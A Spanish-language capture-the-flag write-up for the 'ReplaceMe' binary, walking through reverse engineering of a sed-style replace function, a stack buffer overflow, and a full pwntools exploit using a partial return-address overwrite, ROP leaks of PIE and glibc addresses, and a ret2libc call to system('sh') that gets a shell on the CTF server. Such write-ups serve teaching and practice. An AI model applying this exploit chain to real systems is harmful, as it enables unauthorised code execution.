ReplaceMe
8 minutos de lectura
Se nos proporciona un binario de 64 bits llamado replaceme:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
El programa básicamente proporciona una forma de encontrar y reemplazar una cadena por otra en un texto de entrada, utilizando una sintaxis tipo sed:
$ ./replaceme
Welcome to the string replacement service!
To get started, please enter the string you would like to change.
[?] Input: asdfasdf
Now, please enter the replacement string in SED format (e.g. s/old/new/).
[?] Replacement: s/asdf/ASDF/
[+] Thank you! Here is the result:
ASDFasdf
Ingeniería inversa
Si abrimos el binario en IDA, veremos la siguiente función main:
int __fastcall main(int argc, const char **argv, const char **envp) {
setup();
puts("Welcome to the string replacement service!");
puts("\nTo get started, please enter the string you would like to change.");
ask_input("Input: ", input, 128);
puts("\nNow, please enter the replacement string in SED format (e.g. s/old/new/).");
ask_input("Replacement: ", replacement, 128);
do_replacement();
return 0;
}
Simplemente pide las dos strings (input y replacement), usando ask_input, que es bastante simple y usa read:
void __fastcall ask_input(const char *message, char *data, int size)
{
fwrite("\x1B[33m[?]\x1B[0m ", 1u, 0xDu, stdout);
fputs(message, stdout);
read(0, data, size);
}
La función relevante es do_replacement. Después de configurar bien los tipos de las variables y ponerles nombres descriptivos, se ve así:
void __fastcall do_replacement() {
char str[132]; // [rsp+0h] [rbp-C0h] BYREF
int length_from_found_ptr; // [rsp+84h] [rbp-3Ch]
char *new_str; // [rsp+88h] [rbp-38h]
char *found_ptr; // [rsp+90h] [rbp-30h]
int replace_length; // [rsp+9Ch] [rbp-24h]
char *slash_3; // [rsp+A0h] [rbp-20h]
int find_length; // [rsp+ACh] [rbp-14h]
char *slash_2; // [rsp+B0h] [rbp-10h]
const char *slash_1; // [rsp+B8h] [rbp-8h]
memset(str, 0, 128);
if (replacement[0] != 's' || replacement[1] != '/') {
error("Missing 's/' at the beginning of the replacement string.");
}
slash_1 = &replacement[2];
slash_2 = find(replacement_2, "/", 128);
if (!slash_2) {
error("Missing '/' in between old and new.");
}
find_length = (_DWORD)slash_2 - (_DWORD)slash_1;
*slash_2++ = 0;
slash_3 = find(slash_2, "/", 128);
if (!slash_3) {
error("Missing '/' after the replacement.");
}
replace_length = (_DWORD) slash_3 - (_DWORD) slash_2;
*slash_3 = 0;
found_ptr = find(input, slash_1, 128);
if (!found_ptr) {
error("Could not find old string in input.");
}
new_str = str;
length_from_found_ptr = strlen(&found_ptr[find_length]);
memcpy(new_str, input, found_ptr - input);
new_str += found_ptr - input;
memcpy(new_str, slash_2, replace_length);
new_str += replace_length;
if (length_from_found_ptr > 0) {
memcpy(new_str, &found_ptr[find_length], length_from_found_ptr);
}
success("Thank you! Here is the result:");
fputs(str, stdout);
}
Comienza a verificar si la cadena de reemplazo comienza con s/, luego encuentra la segunda barra a partir de slash_1 (&replacement[2]), y luego la tercera barra a partir de slash_2. Utiliza find para ese propósito, que se ve correcto. Finalmente, do_replacement intenta encontrar la aguja en el pajar; si es así, la reemplaza.
char *__fastcall find(char *haystack, const char *needle, int length) {
int _length; // [rsp+28h] [rbp-8h]
int i; // [rsp+2Ch] [rbp-4h]
_length = strlen(needle);
for (i = 0; i < length; ++i) {
if (!strncmp(&haystack[i], needle, _length)) {
return &haystack[i];
}
}
return NULL;
}
Vulnerabilidad de Buffer Overflow
Revisemos esta parte de do_replacement:
found_ptr = find(input, slash_1, 128);
if (!found_ptr) {
error("Could not find old string in input.");
}
new_str = str;
length_from_found_ptr = strlen(&found_ptr[find_length]);
memcpy(new_str, input, found_ptr - input);
new_str += found_ptr - input;
memcpy(new_str, slash_2, replace_length);
new_str += replace_length;
if (length_from_found_ptr > 0) {
memcpy(new_str, &found_ptr[find_length], length_from_found_ptr);
}
success("Thank you! Here is the result:");
fputs(str, stdout);
El problema con esta función es que el contenido de las cadenas input y replacement se copia en str, que es un buffer en la pila (stack) definido como char str[132]. Por lo tanto, si la longitud de la subcadena que queremos reemplazar es menor que la longitud de la cadena de reemplazo, probablemente podamos exceder los límites de str y causar una vulnerabilidad de Buffer Overflow. Aquí hay una prueba de concepto:
$ python3 -c 'print("A" * 126)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ./replaceme
Welcome to the string replacement service!
To get started, please enter the string you would like to change.
[?] Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
Now, please enter the replacement string in SED format (e.g. s/old/new/).
[?] Replacement: s/B/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
[+] Thank you! Here is the result:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
s/AUzsh: segmentation fault (core dumped) ./replaceme
Con esta vulnerabilidad, podemos modificar las variables locales y valores de registros guardados en la pila para controlar el flujo del programa. Por ejemplo, podemos modificar la dirección de retorno ($rip guardado) y cambiar la ejecución del programa.
Estrategia de explotación
Dado que el binario tiene PIE habilitado, lo primero que necesitamos es fugar una dirección del binario. Esto se puede lograr utilizando una función basada en strings como puts.
Además, es relevante recordar que el programa ejecuta la funcionalidad find-replace y termina. Por lo tanto, necesitaremos explotar la vulnerabilidad de Buffer Overflow para volver a main o cualquier otra función para que el programa continúe.
Si logramos evadir PIE y llegar a la misma vulnerabilidad de Buffer Overflow, el siguiente paso es fugar una dirección de Glibc para evadir el ASLR. Para esto, podemos usar Return-Oriented Programming (ROP) para llamar a puts en una entrada de la GOT, de modo que filtremos la dirección de una función externa en tiempo de ejecución y volvamos al programa para continuar explotando.
Finalmente, cuando tenemos todas las fugas necesarias, podemos usar ROP de nuevo para explotar la vulnerabilidad de Buffer Overflow y eventualmente llamar a system("/bin/sh") para obtener una shell. Esto se conoce como ataque ret2libc. Para obtener más información sobre esto, consulte Here’s a LIBC, Shooting Star y Notepad as a Service.
Desarrollo del exploit
En primer lugar, necesitamos analizar el marco de la pila (stack frame) de la función vulnerable (do_replacement):
-00000000000000C0 // Use data definition commands to manipulate stack variables and arguments.
-00000000000000C0 // Frame size: C0; Saved regs: 8; Purge: 0
-00000000000000C0
-00000000000000C0 char str[132];
-000000000000003C int length_from_found_ptr;
-0000000000000038 char *new_str;
-0000000000000030 char *found_ptr;
-0000000000000028 // padding byte
-0000000000000027 // padding byte
-0000000000000026 // padding byte
-0000000000000025 // padding byte
-0000000000000024 int replace_length;
-0000000000000020 char *slash_3;
-0000000000000018 // padding byte
-0000000000000017 // padding byte
-0000000000000016 // padding byte
-0000000000000015 // padding byte
-0000000000000014 int find_length;
-0000000000000010 char *slash_2;
-0000000000000008 char *slash_1;
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables
Suponiendo que ingresamos una cadena que consta de 127 "A" y una "B" al final, podemos usar un reemplazo con 5 bytes para llenar str[132]. A continuación, necesitamos ingresar un número entero negativo en length_from_found_ptr para evitar llamar a una instrucción memcpy en una instrucción if. Y luego necesitamos 64 bytes adicionales para alcanzar la posición de la dirección de retorno. Por lo tanto, podemos usar la siguiente función auxiliar para explotar la vulnerabilidad de Buffer Overflow:
def send_payload(payload: bytes):
replacement = b's/B/CCCCC'
replacement += p32(-1, signed=True)
replacement += b'D' * 64
replacement += payload
replacement += b'/'
io.sendafter(b'Input: ', b'A' * 127 + b'B')
io.sendlineafter(b'Replacement: ', replacement)
io.recvuntil(b'Thank you! Here is the result:\n')
io.recvuntil(b'D' * 60)
Obsérvese que la dirección de retorno apunta a un offset de main (0x16be):
.text:000000000000164E endbr64
.text:0000000000001652 push rbp
.text:0000000000001653 mov rbp, rsp
.text:0000000000001656 mov eax, 0
.text:000000000000165B call setup
.text:0000000000001660 lea rdi, str ; "Welcome to the string replacement servi"...
.text:0000000000001667 call _puts
.text:000000000000166C lea rdi, aToGetStartedPl ; "\nTo get started, please enter the stri"...
.text:0000000000001673 call _puts
.text:0000000000001678 mov edx, 80h
.text:000000000000167D lea rsi, input
.text:0000000000001684 lea rdi, aInput ; "Input: "
.text:000000000000168B call ask_input
.text:0000000000001690 lea rdi, aNowPleaseEnter ; "\nNow, please enter the replacement str"...
.text:0000000000001697 call _puts
.text:000000000000169C mov edx, 80h
.text:00000000000016A1 lea rsi, replacement
.text:00000000000016A8 lea rdi, aReplacement ; "Replacement: "
.text:00000000000016AF call ask_input
.text:00000000000016B4 mov eax, 0
.text:00000000000016B9 call do_replacement
.text:00000000000016BE mov eax, 0
.text:00000000000016C3 pop rbp
.text:00000000000016C4 retn
Como resultado, en lugar de modificar toda la dirección de retorno, podemos hacer una sobrescritura parcial para modificar el último byte de 0xbe a 0x52, de modo que la función vuelve a main (0x1652) en lugar de a 0x16be. En realidad, también recibiremos una fuga de memoria aquí, porque toda la dirección de retorno se imprimirá:
payload = p8(elf.sym.main & 0xff)
send_payload(payload)
context.binary.address = u64(io.recv(6) + b'\0\0') - elf.sym.main
io.success(f'ELF address: {hex(context.binary.address)}')
Una vez que tenemos esto, tenemos otra oportunidad de explotar la vulnerabilidad de Buffer Overflow ya que hemos vuelto a main. Afortunadamente, el binario contiene gadgets útiles de ROP como pop rdi; ret:
$ ROPgadget --binary replaceme | grep ': pop rdi ; ret'
0x0000000000001733 : pop rdi ; ret
Entonces, podemos usar ROP para llamar a puts e imprimir una dirección de Glibc en la GOT, por ejemplo setvbuf:
rop = ROP(context.binary)
payload = p64(rop.rdi.address)
payload += p64(elf.got.setvbuf)
payload += p64(elf.plt.puts)
payload += p64(elf.sym.main)
send_payload(payload)
glibc.address = u64(io.recvline().strip()[-6:] + b'\0\0') - glibc.sym.setvbuf
io.success(f'Glibc base address: {hex(glibc.address)}')
Ahora que tenemos la dirección base de Glibc, podemos llamar a system("/bin/sh"). Tengo algunos problemas localmente porque la dirección de "/bin/sh" contiene un byte 0x2f, que es la barra (/). Como resultado, la funcionalidad find-replace se confunde y hace que el payload falle. Podemos arreglar esto fácilmente llamando a sh en lugar de /bin/sh:
payload = p64(rop.rdi.address)
payload += p64(next(glibc.search(b'sh\0')))
payload += p64(glibc.sym.system)
send_payload(payload)
io.recv()
io.interactive()
Con todo esto, tenemos una shell en local:
$ python3 solve.py
[*] './replaceme'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Starting local process './replaceme': pid 3534216
[+] ELF address: 0x60e644c19000
[*] Loaded 14 cached gadgets for 'replaceme'
[+] Glibc base address: 0x708e20800000
[*] Switching to interactive mode
$ ls
build-docker.sh Dockerfile flag.txt libc.so.6 replaceme solve.py
Flag
Con este script, tendremos una shell en la instancia remota:
$ python3 solve.py 83.136.252.123:44995
[*] './replaceme'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Opening connection to 83.136.252.123 on port 44995: Done
[+] ELF address: 0x55a5f9b74000
[*] Loaded 14 cached gadgets for 'replaceme'
[+] Glibc base address: 0x7f83daeb4000
[*] Switching to interactive mode
$ ls
flag.txt
replaceme
$ cat flag.txt
HTB{r34d_wh4t_y0u_n33d_4nd_wr1t3_wh4t_y0u_d0nt}
El exploit completo se puede encontrar aquí: solve.py.
